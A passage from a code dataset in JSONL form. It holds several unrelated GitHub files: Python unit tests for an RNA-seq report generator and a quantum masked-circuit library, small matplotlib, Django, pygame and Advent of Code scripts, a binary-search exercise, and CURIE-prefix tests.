'COMPONENT_SPECIFIC')\n\t\textra_params = cp.read_config(os.path.join(root, 'components', 'pdf_report', 'report.cfg'), 'STAR')\n\n\t\tmock_sample_ids = [os.path.basename(x).split('.')[0] for x in glob.glob(os.path.join('test_data', '*' + component_params.get('coverage_file_suffix')))]\t\t\n\t\tproject.samples = [Sample(x, 'X') for x in mock_sample_ids ]\n\t\tproject.contrasts = [('X','Y'),('X','Z'),('Y','Z')]\t\t\n\n\t\tcomponent_params['report_output_dir'] = os.path.join(os.path.abspath(os.path.dirname(__file__)), test_output_dir, component_params.get('report_output_dir'))\n\t\tif not os.path.isdir(component_params['report_output_dir']):\n\t\t\tos.mkdir(component_params['report_output_dir'])\n\n\t\t# link figures so they appear where they should be.\n\t\tfigure_list = glob.glob(os.path.join(os.path.dirname(__file__), 'test_data', '*' + component_params.get('coverage_plot_suffix')))\n\t\tfigure_list += [os.path.join(os.path.dirname(__file__), 'test_data', 'bamfile_reads.pdf'), \n\t\t\t\tos.path.join(os.path.dirname(__file__), 'test_data', 'mapping_composition.pdf'), \n\t\t\t\tos.path.join(os.path.dirname(__file__), 'test_data', 'total_reads.pdf'),\n\t\t\t\tos.path.join('components', 'pdf_report', 'igv_typical.png'),\n\t\t\t\tos.path.join('components', 'pdf_report', 'igv_duplicates.png')]\n\t\t[os.symlink(os.path.join(root, f), os.path.join(component_params['report_output_dir'], os.path.basename(f))) for f in figure_list]\n\t\n\t\tself.module.get_diff_exp_gene_summary = mock.Mock()\n\t\tself.module.get_diff_exp_gene_summary.return_value = [['X','Y', 100,200],['Y_1','Z_2', 400, 300],['X_2','Z_3', 150,300]]\n\n\t\tenv = jinja2.Environment(loader=jinja2.FileSystemLoader(os.path.join(root, 'components', 'pdf_report')))\n\t\ttemplate = env.get_template(component_params.get('report_template'))\n\n\t\tself.module.fill_template(template, project, component_params)\n\t\tself.module.compile_report(project, component_params)\n\n\n\tdef test_system_call_to_bedtools(self):\n\n\t\tproject = Project()\n\t\tparameters = {'bam_filter_level':'sort.primary', 'project_directory': 'abc/foo/AB_12345', \n\t\t\t\t'genome': 'hg19', \n\t\t\t\t'genome_source_link':'ftp://ftp.ensembl.org/pub/release-75/fasta/homo_sapiens/dna/', \n\t\t\t\t'skip_align':False, \n\t\t\t\t'skip_analysis':False}\n\n\t\tproject.parameters = parameters\n\n\t\tmock_dir = '/abc/def/'\n\t\tmock_sample_names = ['AAA','BBB','CCC']\n\t\tlevels = ['sort.bam','sort.primary.bam','sort.primary.dedup.bam']\n\n\t\tall_samples = []\n\t\tfor sn in mock_sample_names:\n\t\t\tbamfiles = map(lambda x: os.path.join(mock_dir, sn + '.' + x), levels)\n\t\t\ts = Sample(sn, 'X', bamfiles = bamfiles)\n\t\t\tall_samples.append(s)\n\n\t\tproject.samples = all_samples\n\n\t\tcomponent_params = cp.read_config(os.path.join(root, 'components', 'pdf_report', 'report.cfg'), 'COMPONENT_SPECIFIC')\t\n\n\t\tself.module.subprocess.Popen = mock.Mock()\n\t\t\n\t\tmock_process = mock.Mock()\n\t\tmock_process.communicate.return_value = (('abc', 'def'))\n\t\tmock_process.returncode = 0\n\t\tself.module.subprocess.Popen.return_value = mock_process\n\t\tself.module.subprocess.STDOUT = 'abc'\n\t\tself.module.subprocess.STDERR = 'def'\n\t\t\n\n\t\tm = mock.mock_open()\n\t\twith mock.patch.object(__builtin__, 'open', m) as x:\n\t\t\texpected_calls = [\n\t\t\t\tmock.call([ component_params.get('bedtools_path'), component_params.get('bedtools_cmd'), '-ibam', '/abc/def/AAA.sort.primary.bam', '-bga'], stderr='abc', stdout=m()),\n\t\t\t\tmock.call().communicate(),\n\t\t\t\tmock.call([ component_params.get('bedtools_path'), component_params.get('bedtools_cmd'), '-ibam', '/abc/def/BBB.sort.primary.bam', '-bga'], stderr='abc', stdout=m()),\n\t\t\t\tmock.call().communicate(),\n\t\t\t\tmock.call([ component_params.get('bedtools_path'), component_params.get('bedtools_cmd'), '-ibam', '/abc/def/CCC.sort.primary.bam', '-bga'], stderr='abc', stdout=m()),\n\t\t\t\tmock.call().communicate()]\n\t\t\tself.module.calculate_coverage_data(project, component_params)\n\n\t\tself.module.subprocess.Popen.assert_has_calls(expected_calls) \n\t\t\n\n\n\n\n\n\n\n\n\n\n","repo_name":"blawney/new_rna_seq","sub_path":"tests/test_pdf_report.py","file_name":"test_pdf_report.py","file_ext":"py","file_size_in_byte":7828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38449922813","text":"import pytest\nimport random\n\nimport pennylane as qml\nimport pennylane.numpy as pnp\n\nfrom maskit.circuits import variational_circuit as original_variational_circuit\nfrom maskit._masks import (\n PerturbationAxis as Axis,\n PerturbationMode as Mode,\n DropoutMask,\n FreezeMask,\n)\nfrom maskit._masked_circuits import MaskedCircuit\n\nfrom tests.utils import cost, create_freezable_circuit, device, variational_circuit\n\n\nclass TestMaskedCircuits:\n def test_init(self):\n mp = self._create_circuit(3)\n assert mp\n assert len(mp.mask(Axis.WIRES)) == 3\n assert len(mp.mask(Axis.LAYERS)) == 3\n assert mp.mask(Axis.PARAMETERS).shape == (3, 3)\n\n size = 3\n with pytest.raises(AssertionError):\n MaskedCircuit(\n parameters=pnp.random.uniform(low=0, high=1, size=(size, size)),\n layers=size - 1,\n wires=size,\n )\n with pytest.raises(AssertionError):\n MaskedCircuit(\n parameters=pnp.random.uniform(low=0, high=1, size=(size, size)),\n layers=size + 1,\n wires=size,\n )\n with pytest.raises(AssertionError):\n MaskedCircuit(\n parameters=pnp.random.uniform(low=0, high=1, size=(size, size)),\n layers=size,\n wires=size - 1,\n )\n with pytest.raises(AssertionError):\n MaskedCircuit(\n parameters=pnp.random.uniform(low=0, high=1, size=(size, size)),\n layers=size,\n wires=size + 1,\n )\n with pytest.raises(AssertionError):\n MaskedCircuit.full_circuit(\n parameters=pnp.random.uniform(low=0, high=1, size=(size, size)),\n layers=size,\n wires=size,\n entangling_mask=DropoutMask(shape=(size + 1, size)),\n )\n with pytest.raises(NotImplementedError):\n MaskedCircuit(\n parameters=pnp.random.uniform(low=0, high=1, size=(size, size)),\n layers=size,\n wires=size,\n masks=[(Axis.ENTANGLING, DropoutMask)],\n )\n mc = MaskedCircuit.full_circuit(\n parameters=pnp.random.uniform(low=0, high=1, size=(size, size)),\n layers=size,\n wires=size,\n wire_mask=DropoutMask(shape=(size,), mask=pnp.ones((size,), dtype=bool)),\n )\n assert pnp.array_equal(mc.mask(Axis.WIRES), pnp.ones((size,), dtype=bool))\n\n def test_mask(self):\n \"\"\"\n The aggregated mask is built dynamically from the registered masks for the\n different axes. The test ensures that the mask covers the whole set of\n parameters.\n \"\"\"\n size = 3\n # test circuit with all masks\n mc = MaskedCircuit.full_circuit(\n parameters=pnp.random.uniform(low=0, high=1, size=(size, size)),\n layers=size,\n wires=size,\n )\n assert mc.full_mask(DropoutMask).size == size * size\n\n # test circuit with no masks\n mc = MaskedCircuit(\n parameters=pnp.random.uniform(low=0, high=1, size=(size, size)),\n layers=size,\n wires=size,\n )\n assert mc.full_mask(DropoutMask).size == size * size\n\n # test circuit containing only layer mask\n mc = MaskedCircuit(\n parameters=pnp.random.uniform(low=0, high=1, size=(size, size)),\n layers=size,\n wires=size,\n masks=[(Axis.LAYERS, DropoutMask)],\n )\n assert mc.full_mask(DropoutMask).size == size * size\n\n def test_wrong_mode(self):\n mp = self._create_circuit_with_entangling_gates(3)\n with pytest.raises(AssertionError):\n mp.perturb(axis=Axis.LAYERS, mode=10)\n\n def test_wrong_axis(self):\n mp = self._create_circuit_with_entangling_gates(3)\n with pytest.raises(ValueError):\n mp.perturb(axis=10)\n\n @pytest.mark.parametrize(\"axis\", list(Axis))\n def test_clear(self, axis):\n size = 3\n mp = self._create_circuit_with_entangling_gates(size)\n mp.perturb(axis=axis, amount=size)\n assert (\n pnp.sum(mp.mask(Axis.LAYERS))\n + pnp.sum(mp.mask(Axis.WIRES))\n + pnp.sum(mp.mask(Axis.PARAMETERS))\n + pnp.sum(mp.mask(Axis.ENTANGLING))\n == size\n )\n mp.clear()\n assert (\n pnp.sum(mp.mask(Axis.LAYERS))\n + pnp.sum(mp.mask(Axis.WIRES))\n + pnp.sum(mp.mask(Axis.PARAMETERS))\n + pnp.sum(mp.mask(Axis.ENTANGLING))\n == 0\n )\n\n def test_perturb_entangling(self):\n size = 3\n mp = self._create_circuit(size)\n with pytest.raises(ValueError):\n mp.perturb(axis=Axis.ENTANGLING, amount=1)\n # ensure nothing has happened as entangling mask is None\n assert (\n pnp.sum(mp.mask(Axis.LAYERS))\n + pnp.sum(mp.mask(Axis.WIRES))\n + pnp.sum(mp.mask(Axis.PARAMETERS))\n == 0\n )\n\n mp = self._create_circuit_with_entangling_gates(size)\n mp.perturb(axis=Axis.ENTANGLING, amount=1)\n assert pnp.sum(mp.mask(Axis.ENTANGLING)) == 1\n\n @pytest.mark.parametrize(\"axis\", list(Axis))\n def test_zero_amount(self, axis):\n mp = self._create_circuit_with_entangling_gates(3)\n pre_sum = (\n pnp.sum(mp.mask(Axis.WIRES))\n + pnp.sum(mp.mask(Axis.LAYERS))\n + pnp.sum(mp.mask(Axis.PARAMETERS))\n + pnp.sum(mp.mask(Axis.ENTANGLING))\n )\n mp.perturb(axis=axis, amount=0)\n assert pre_sum == pnp.sum(mp.mask(Axis.WIRES)) + pnp.sum(\n mp.mask(Axis.LAYERS)\n ) + pnp.sum(mp.mask(Axis.PARAMETERS)) + pnp.sum(mp.mask(Axis.ENTANGLING))\n\n def test_apply_mask(self):\n size = 3\n mp = self._create_circuit(size)\n with pytest.raises(ValueError):\n mp.apply_mask(pnp.ones((size, size - 1)))\n mp.mask(Axis.WIRES)[: size - 1] = True\n result = mp.apply_mask(pnp.ones((size, size), dtype=bool))\n assert pnp.sum(~mp.full_mask(DropoutMask)) == size\n assert pnp.sum(result) == size\n mp.mask(Axis.LAYERS)[: size - 1] = True\n result = mp.apply_mask(pnp.ones((size, size), dtype=bool))\n assert pnp.sum(~mp.full_mask(DropoutMask)) == 1\n assert pnp.sum(result) == 1\n mp.mask(Axis.PARAMETERS)[(size - 1, size - 1)] = True\n result = mp.apply_mask(pnp.ones((size, size), dtype=bool))\n assert pnp.sum(~mp.full_mask(DropoutMask)) == 0\n assert pnp.sum(result) == 0\n\n def test_copy(self):\n size = 3\n mp = self._create_circuit(size)\n mp.mask(Axis.LAYERS)[0] = True\n new_mp = mp.copy()\n\n mp.mask(Axis.WIRES)[0] = True\n mp.mask(Axis.PARAMETERS)[0, 0] = True\n\n assert pnp.sum(mp.full_mask(DropoutMask)) > pnp.sum(\n new_mp.full_mask(DropoutMask)\n )\n assert pnp.sum(new_mp.mask(Axis.WIRES)) == 0\n assert pnp.sum(new_mp.mask(Axis.LAYERS)) == pnp.sum(mp.mask(Axis.LAYERS))\n assert pnp.sum(new_mp.mask(Axis.PARAMETERS)) == 0\n assert Axis.ENTANGLING not in new_mp.masks\n\n # also test copying of existing entanglement mask\n mp = self._create_circuit_with_entangling_gates(size)\n assert mp.mask(Axis.ENTANGLING) is not None\n new_mp = mp.copy()\n mp.mask(Axis.ENTANGLING)[0, 0] = True\n assert pnp.sum(mp.mask(Axis.ENTANGLING)) == 1\n assert pnp.sum(new_mp.mask(Axis.ENTANGLING)) == 0\n\n def test_parameters(self):\n size = 3\n mp = self._create_circuit(size)\n\n new_random_values = pnp.random.uniform(\n low=-pnp.pi, high=pnp.pi, size=(size, size)\n )\n assert (mp.parameters != new_random_values).all()\n mp.parameters = new_random_values\n assert (mp.parameters == new_random_values).all()\n\n def test_shrink_layer(self):\n size = 3\n mp = self._create_circuit(size)\n mp.mask(Axis.LAYERS)[:] = True\n mp.shrink(amount=1, axis=Axis.LAYERS)\n assert (\n pnp.sum(mp.full_mask(DropoutMask)) == mp.full_mask(DropoutMask).size - size\n )\n\n def test_shrink_wire(self):\n size = 3\n mp = self._create_circuit(size)\n mp.mask(Axis.WIRES)[:] = True\n mp.shrink(amount=1, axis=Axis.WIRES)\n assert (\n pnp.sum(mp.full_mask(DropoutMask)) == mp.full_mask(DropoutMask).size - size\n )\n\n def test_shrink_parameter(self):\n size = 3\n mp = self._create_circuit(size)\n mp.mask(Axis.PARAMETERS)[:] = True\n mp.shrink(amount=1, axis=Axis.PARAMETERS)\n assert pnp.sum(mp.full_mask(DropoutMask)) == mp.full_mask(DropoutMask).size - 1\n\n def test_shrink_entangling(self):\n size = 3\n mp = self._create_circuit_with_entangling_gates(size)\n mp.mask(Axis.ENTANGLING)[:] = True\n mp.shrink(amount=1, axis=Axis.ENTANGLING)\n assert pnp.sum(mp.mask(Axis.ENTANGLING)) == mp.mask(Axis.ENTANGLING).size - 1\n\n # also test in case no mask is set\n mp = self._create_circuit(size)\n with pytest.raises(ValueError):\n mp.shrink(amount=1, axis=Axis.ENTANGLING)\n assert Axis.ENTANGLING not in mp.masks\n assert (\n pnp.sum(mp.full_mask(DropoutMask)) == 0\n ) # also ensure that nothing else was shrunk\n\n def test_shrink_wrong_axis(self):\n mp = self._create_circuit(3)\n with pytest.raises(ValueError):\n mp.shrink(amount=1, axis=10)\n\n def test_execute(self):\n mp = self._create_circuit(3)\n perturb_operation = {\n \"perturb\": {\n \"amount\": 1,\n \"axis\": Axis.PARAMETERS,\n \"mode\": Mode.SET,\n }\n }\n # test empty operations\n assert MaskedCircuit.execute(mp, []) == mp\n # test existing method\n MaskedCircuit.execute(mp, [perturb_operation])\n assert pnp.sum(mp.full_mask(DropoutMask)) == 1\n # test existing method with copy\n new_mp = MaskedCircuit.execute(\n mp, [{\"clear\": {}}, {\"copy\": {}}, perturb_operation]\n )\n assert mp != new_mp\n assert pnp.sum(new_mp.full_mask(DropoutMask)) == 1\n # test non-existing method\n with pytest.raises(AttributeError):\n MaskedCircuit.execute(mp, [{\"non_existent\": {\"test\": 1}}])\n\n def test_active(self):\n mp = self._create_circuit(3)\n assert mp.active() == 9\n mp.mask(Axis.WIRES)[0] = True\n assert mp.active() == 6\n mp.mask(Axis.LAYERS)[0] = True\n assert mp.active() == 4\n mp.mask(Axis.PARAMETERS)[1][1] = True\n assert mp.active() == 3\n\n def test_default_value(self):\n size = 3\n mp = self._create_circuit(size)\n mp.default_value = 0\n mp.mask(Axis.WIRES)[0] = True\n mp.mask(Axis.PARAMETERS)[2, 2] = True\n mp.mask(Axis.LAYERS)[1] = True\n assert pnp.sum(mp.parameters[:, 0] != 0) == size\n mp.mask(Axis.WIRES)[0] = False\n assert pnp.sum(mp.parameters[:, 0] == 0) == size\n mp.mask(Axis.WIRES)[1] = False\n assert pnp.sum(mp.parameters[:, 1] != 0) == size\n mp.mask(Axis.LAYERS)[1] = False\n assert pnp.sum(mp.parameters == 0) == size * 2 - 1\n mp.mask(Axis.PARAMETERS)[2, 2] = False\n assert pnp.sum(mp.parameters == 0) == size * 2\n\n def test_default_value_perturb(self):\n mp = MaskedCircuit.full_circuit(\n parameters=pnp.random.uniform(low=-pnp.pi, high=pnp.pi, size=(4, 3, 2)),\n layers=4,\n wires=3,\n default_value=0,\n )\n mp.mask(Axis.PARAMETERS)[:] = True\n mp.perturb(axis=Axis.PARAMETERS, amount=0.5, mode=Mode.INVERT)\n assert pnp.sum(mp.parameters == 0) == round(0.5 * 4 * 3 * 2)\n\n def test_default_value_shrink(self):\n mp = MaskedCircuit.full_circuit(\n parameters=pnp.random.uniform(low=-pnp.pi, high=pnp.pi, size=(4, 3, 2)),\n layers=4,\n wires=3,\n default_value=0,\n )\n mp.mask(Axis.LAYERS)[:] = True\n mp.shrink(axis=Axis.LAYERS)\n assert pnp.sum(mp.parameters == 0) == 6\n\n def test_dynamic_parameters(self):\n size = 3\n circuit = self._create_circuit(size)\n circuit.mask(Axis.LAYERS)[0] = True\n assert circuit.differentiable_parameters.size == (size - 1) * size\n assert (\n circuit.expanded_parameters(\n changed_parameters=circuit.differentiable_parameters\n ).size\n == size * size\n )\n # in this case, no wrong values can be written\n\n circuit._dynamic_parameters = False # disable dynamic parameters\n assert circuit.differentiable_parameters.size == size * size\n assert (\n circuit.expanded_parameters(changed_parameters=circuit.parameters).size\n == size * size\n )\n circuit.differentiable_parameters = pnp.ones((size, size))\n # ensure that first layer has not been changed\n for i in range(size):\n assert circuit.parameters[0, i] != 1\n\n def test_entangling_mask_application(self):\n size = 4\n mp = self._create_circuit_with_entangling_gates(size)\n rotations = [pnp.random.choice([0, 1, 2]) for _ in range(size * size)]\n circuit = qml.QNode(\n original_variational_circuit,\n device(mp.mask(Axis.WIRES).size),\n )\n\n circuit(mp.differentiable_parameters, rotations, mp)\n assert (\n qml.specs(circuit)(mp.differentiable_parameters, rotations, mp)[\n \"gate_types\"\n ][\"CZ\"]\n == 12\n )\n\n mp.perturb(axis=Axis.ENTANGLING, mode=Mode.SET, amount=6)\n circuit(mp.differentiable_parameters, rotations, mp)\n assert (\n qml.specs(circuit)(mp.differentiable_parameters, rotations, mp)[\n \"gate_types\"\n ][\"CZ\"]\n == 6\n )\n\n def _create_circuit(self, size):\n parameters = pnp.random.uniform(low=-pnp.pi, high=pnp.pi, size=(size, size))\n return MaskedCircuit.full_circuit(\n parameters=parameters, layers=size, wires=size\n )\n\n def _create_circuit_with_entangling_gates(self, size):\n parameters = pnp.random.uniform(low=-pnp.pi, high=pnp.pi, size=(size, size))\n return MaskedCircuit.full_circuit(\n parameters=parameters,\n layers=size,\n wires=size,\n entangling_mask=DropoutMask(shape=(size, size - 1)),\n )\n\n\nclass TestFreezableMaskedCircuit:\n def test_init(self):\n size = 3\n mp = create_freezable_circuit(size)\n assert mp\n\n def test_freeze(self):\n size = 3\n mp = create_freezable_circuit(size)\n assert (\n mp.differentiable_parameters.size\n == mp.mask(Axis.PARAMETERS, mask_type=FreezeMask).size\n )\n # Test 0 amount\n # FIXME: does not test the same thing, befor it tested the whole mask\n mask = mp.full_mask(FreezeMask)\n mp.perturb(axis=Axis.LAYERS, amount=0, mode=Mode.SET, mask=FreezeMask)\n assert pnp.array_equal(mp.full_mask(FreezeMask), mask)\n # Test freezing of layers\n mp.perturb(axis=Axis.LAYERS, amount=1, mode=Mode.SET, mask=FreezeMask)\n assert mp.differentiable_parameters.size == mp.mask(Axis.PARAMETERS).size - size\n assert pnp.sum(mp.mask(axis=Axis.LAYERS, mask_type=FreezeMask)) == 1\n assert pnp.sum(mp._accumulated_mask()) == size # dropout and freeze mask\n # Test freezing of wires\n mp.perturb(axis=Axis.WIRES, amount=1, mode=Mode.SET, mask=FreezeMask)\n assert pnp.sum(mp.mask(axis=Axis.WIRES, mask_type=FreezeMask)) == 1\n assert (\n pnp.sum(mp._accumulated_mask()) == 2 * size - 1\n ) # dropout and freeze mask\n # Test freezing of parameters\n mp.perturb(axis=Axis.PARAMETERS, amount=1, mode=Mode.SET, mask=FreezeMask)\n assert pnp.sum(mp.mask(axis=Axis.PARAMETERS, mask_type=FreezeMask)) == 1\n assert (\n pnp.sum(mp._accumulated_mask()) == 2 * size - 1\n or pnp.sum(mp._accumulated_mask()) == 2 * size # dropout and freeze mask\n )\n # Test wrong axis\n with pytest.raises(ValueError):\n mp.perturb(axis=10, amount=1, mode=Mode.SET, mask=FreezeMask)\n\n def test_copy(self):\n mp = create_freezable_circuit(3)\n mp.perturb(amount=5, mode=Mode.SET)\n mp.perturb(amount=2, axis=Axis.LAYERS, mode=Mode.SET, mask=FreezeMask)\n mp_copy = mp.copy()\n assert pnp.array_equal(mp.full_mask(FreezeMask), mp_copy.full_mask(FreezeMask))\n mp.perturb(amount=5, mode=Mode.RESET)\n mp.perturb(amount=2, axis=Axis.LAYERS, mode=Mode.RESET, mask=FreezeMask)\n assert pnp.sum(mp.full_mask(FreezeMask)) == 0\n assert not pnp.array_equal(\n mp.full_mask(FreezeMask), mp_copy.full_mask(FreezeMask)\n )\n\n def test_complex(self):\n random.seed(1234)\n pnp.random.seed(1234)\n mp = create_freezable_circuit(3, layer_size=2)\n circuit = qml.QNode(variational_circuit, device(mp.mask(Axis.WIRES).size))\n optimizer = qml.GradientDescentOptimizer()\n\n def cost_fn(params, masked_circuit=None):\n return cost(\n params,\n circuit,\n masked_circuit,\n )\n\n mp.perturb(axis=Axis.LAYERS, amount=2, mode=Mode.SET, mask=FreezeMask)\n mp.perturb(axis=Axis.WIRES, amount=2, mode=Mode.SET, mask=FreezeMask)\n\n last_changeable = pnp.sum(mp.parameters[~mp._accumulated_mask()])\n frozen = pnp.sum(mp.parameters[mp._accumulated_mask()])\n for _ in range(10):\n params = optimizer.step(\n cost_fn, mp.differentiable_parameters, masked_circuit=mp\n )\n mp.differentiable_parameters = params\n current_changeable = pnp.sum(mp.parameters[~mp._accumulated_mask()])\n assert last_changeable - current_changeable != 0\n assert frozen - pnp.sum(mp.parameters[mp._accumulated_mask()]) == 0\n last_changeable = current_changeable\n","repo_name":"cirKITers/masKIT","sub_path":"tests/test_masked_circuits.py","file_name":"test_masked_circuits.py","file_ext":"py","file_size_in_byte":18365,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"18571035399","text":"# 测试pythonlist\nimport matplotlib.pyplot as plt\nimport random\nimport time\n\n\nlog = print\n\n\naxvline = plt.axvline\n\n\ndef test():\n ls = []\n data = [1, 2, 3]\n lines = [9, 'asd', 'line2']\n ls.append(data)\n ls.append(lines)\n\n secdata = ls[0]\n secline = ls[1]\n\n\n secdata.append('a, b, c')\n\n\n log('ls[0] = ({})'.format(ls[0]))\n log('len', len(secdata))\n log('index ', secdata.index(1))\n log('index ', secdata.index(2))\n log('index ', secdata.index(3))\n\n log('index ', secline.pop(1))\n\n log('after ', secline)\n\n\n # log('id of secdata', id(secdata), id(ls[0]))\n\n\n log('ls ({})'.format(ls))\n log('ls ({})'.format(ls[0]))\n # log('ls ({})'.format(ls[1]))\n # 同步增加\n # 同步删除\n # 同步修改\n pass\n\n\ndef ind_test():\n data = []\n line = []\n\n xs = random.sample(range(0, 10), 4)\n\n sectionlines =[data, line]\n secdata = sectionlines[0]\n secline = sectionlines[1]\n log('id of secdata', secdata is sectionlines)\n # 添加sectionline\n lastind = 1\n dataind = lastind\n # xdata = 1\n # secdata里面添加dataind\n # secline里面添加line\n if dataind not in secdata:\n log('没有添加过')\n secdata.append(dataind)\n secline.append(axvline(xs[dataind]))\n log('当前分区', sectionlines)\n log('曲线已添加 secline({}) secdata({}) sectionlines ({})'.format( secline, secdata, sectionlines))\n\n\n plt.show()\n\n for i in range(10):\n\n log(i)\n time.sleep(1)\n\n # 删除sectionline\n\n secdata = sectionlines[0]\n secline = sectionlines[1]\n log('id of secdata', secdata is sectionlines)\n # 添加sectionline\n dataind = lastind\n if dataind in secdata:\n ind = secdata.index(dataind)\n secdata.pop(ind)\n secline.pop(ind)\n log('曲线已移除 secline({}) secdata({}) sectionlines ({})', secline, secdata, sectionlines)\n plt.show()\n\n\n\ndef demo_random():\n # 1 - 100\n # random.seed(1)\n # x = prex * 100007 % xxxx\n # prex = x 幂等性\n print(1, int(random.random() * 100))\n print(2, random.randint(0, 200))\n print(3, random.choice(range(0, 100, 10)))\n print(4, random.sample(range(0, 100), 4))\n a = [1, 2, 3, 4, 5]\n random.shuffle(a)\n print(5, a)\n\n\nif __name__ == '__main__':\n # test()\n # demo_random()\n ind_test()\n","repo_name":"crowluya/ll_crowluya-Matplotlib_With_PYQT-master","sub_path":"Matplotlib_With_PYQT/封装toolbar功能/demo/demo/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23897700700","text":"from django.db import models\n\n# Create your models here.\nclass Blog(models.Model):\n title = models.CharField(\n max_length=255,\n verbose_name=\"Название\"\n )\n image = models.ImageField(\n upload_to= \"blog_image/\",\n verbose_name=\"Фотография\"\n )\n descriptions = models.TextField(\n verbose_name=\"Описание\"\n )\n created_at = models.DateTimeField(\n auto_now_add=True,\n blank=True,null=True\n )\n def __str__(self):\n return self.title\n \n class Meta:\n verbose_name = \"Новость\"\n verbose_name_plural = \"Новости\"","repo_name":"ageshalol/online_shop","sub_path":"users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25176443218","text":"from functions import get_count_with_limits, get_count_with_positions\n\nparsed_values = []\n\nwith open('input.txt', 'r') as input:\n for line in input.readlines():\n numbers, match_letter, code = line.split(' ')\n\n low_number, high_number = map(lambda x: int(x), numbers.split('-'))\n match_letter = match_letter[:-1]\n code = code.rstrip()\n\n parsed_values.append({\n 'low_number': low_number,\n 'high_number': high_number,\n 'match_letter': match_letter,\n 'code': code,\n })\n\n\nprint(get_count_with_limits(parsed_values))\nprint(get_count_with_positions(parsed_values))\n","repo_name":"syberen/advent-of-code-2020","sub_path":"day_2/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28414503812","text":"def binarySearch(arr, searchValue):\r\n low = 0\r\n high = len(arr) - 1\r\n while low <= high:\r\n mid = (low + high) // 2\r\n if arr[mid] < searchValue:\r\n low = mid + 1\r\n elif arr[mid] > searchValue:\r\n high = mid - 1\r\n else:\r\n return True\r\n\r\n return False\r\n\r\n\r\ndef binarySearchRec(arr, search_value):\r\n if len(arr) == 0:\r\n return False\r\n \r\n\r\n\r\n\r\n","repo_name":"ahmedmeshref/CodeSignal-PySolutions","sub_path":"binarySearchRec/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"74275999557","text":"from prefixcommons import NoPrefix, contract_uri, expand_uri\nfrom prefixcommons.curie_util import read_biocontext\n\nbp_id = \"GO:0008150\"\nobo_bp_id = \"OBO:GO_0008150\"\nbp_iri = \"http://purl.obolibrary.org/obo/GO_0008150\"\n\nCASES = [\n # semweb context is a default so should work for both\n (\"owl:Class\", \"http://www.w3.org/2002/07/owl#Class\", [None, [\"semweb_context\"]]),\n # obo context is a default so should work for both\n (bp_id, bp_iri, [None, [\"obo_context\"]]),\n # monarch context is a default so should work for both\n (\n \"biolink:Gene\",\n \"https://w3id.org/biolink/vocab/Gene\",\n [None, [\"monarch_context\"]],\n ),\n # identifier.org test\n (\"BIOSAMPLE:SAM001\", \"http://identifiers.org/biosample/SAM001\", [[\"idot_context\"]]),\n # ensure that if identifiers.org is explicitly passed this has precedence\n (\"CL:0000001\", \"http://identifiers.org/cl/0000001\", [[\"idot_context\"]]),\n # ensure that if obo is explicitly passed this has precedence; also obo is a default\n (\n \"CL:0000001\",\n \"http://purl.obolibrary.org/obo/CL_0000001\",\n [None, [\"obo_context\"]],\n ),\n # conflict test: first has priority\n (\n \"CL:0000001\",\n \"http://identifiers.org/cl/0000001\",\n [[\"idot_context\", \"obo_context\"]],\n ),\n # conflict test: first has priority\n (\n \"CL:0000001\",\n \"http://purl.obolibrary.org/obo/CL_0000001\",\n [[\"obo_context\", \"idot_context\"]],\n ),\n]\n\n\ndef test_cases():\n for curie, uri, prefixmap_sets in CASES:\n for prefixmap_set in prefixmap_sets:\n if prefixmap_set is not None:\n prefixmap_set = [read_biocontext(n) for n in prefixmap_set]\n assert contract_uri(uri, cmaps=prefixmap_set) == [curie]\n assert expand_uri(curie, cmaps=prefixmap_set) == uri\n\n\ndef test_prefixes():\n assert contract_uri(bp_iri) == [bp_id]\n assert expand_uri(bp_id) == bp_iri\n assert contract_uri(\"FAKE\", strict=False) == []\n try:\n contract_uri(\"FAKE\", strict=True)\n except NoPrefix:\n pass\n else:\n assert False\n\n\ndef test_prefixes_cmaps():\n cmaps = [\n {\"GO\": \"http://purl.obolibrary.org/obo/GO_\"},\n {\"OBO\": \"http://purl.obolibrary.org/obo/\"},\n ]\n assert contract_uri(bp_iri, cmaps) == [bp_id]\n all_curies = contract_uri(bp_iri, cmaps, shortest=False)\n assert len(all_curies) == 2\n assert obo_bp_id in all_curies\n assert bp_id in all_curies\n assert expand_uri(bp_id, cmaps) == bp_iri\n assert expand_uri(obo_bp_id, cmaps) == bp_iri\n assert contract_uri(\"FAKE\", cmaps, strict=False) == []\n try:\n contract_uri(\"FAKE\", cmaps, strict=True)\n except NoPrefix:\n pass\n else:\n assert False\n","repo_name":"prefixcommons/prefixcommons-py","sub_path":"tests/test_curie_util.py","file_name":"test_curie_util.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"36730708920","text":"import csv\nimport pygame\nfrom wall import Wall\n\nwith open (\"game_map.csv\", newline=\"\") as map:\n reader = csv.reader(map)\n GAME_MAP = [tile for tile in reader]\n\nMAP_SIZE = (20,21) #x, y axis\n\n# print(GAME_MAP)\n# the game map will only be used to set up\n# the map when in gameplay...\n\nclass Scenario:\n\n def __init__ (self):\n self.tiles = pygame.sprite.Group()\n self.start_scenario()\n \n def start_scenario (self):\n for row in range(MAP_SIZE[0]):\n for column in range(MAP_SIZE[1]):\n if GAME_MAP[column][row] != \"-\":\n tile = Wall((row,column),\n int(GAME_MAP[column][row]))\n self.tiles.add(tile)","repo_name":"SymonBezerra/Pygame-PacMan","sub_path":"scenario.py","file_name":"scenario.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2989180736","text":"\"\"\"\nUpdate: 2019.03.15 \n从IP获得IP相关信息\n\"\"\"\n\nimport os\nimport sys\nimport re\nimport logging\nimport 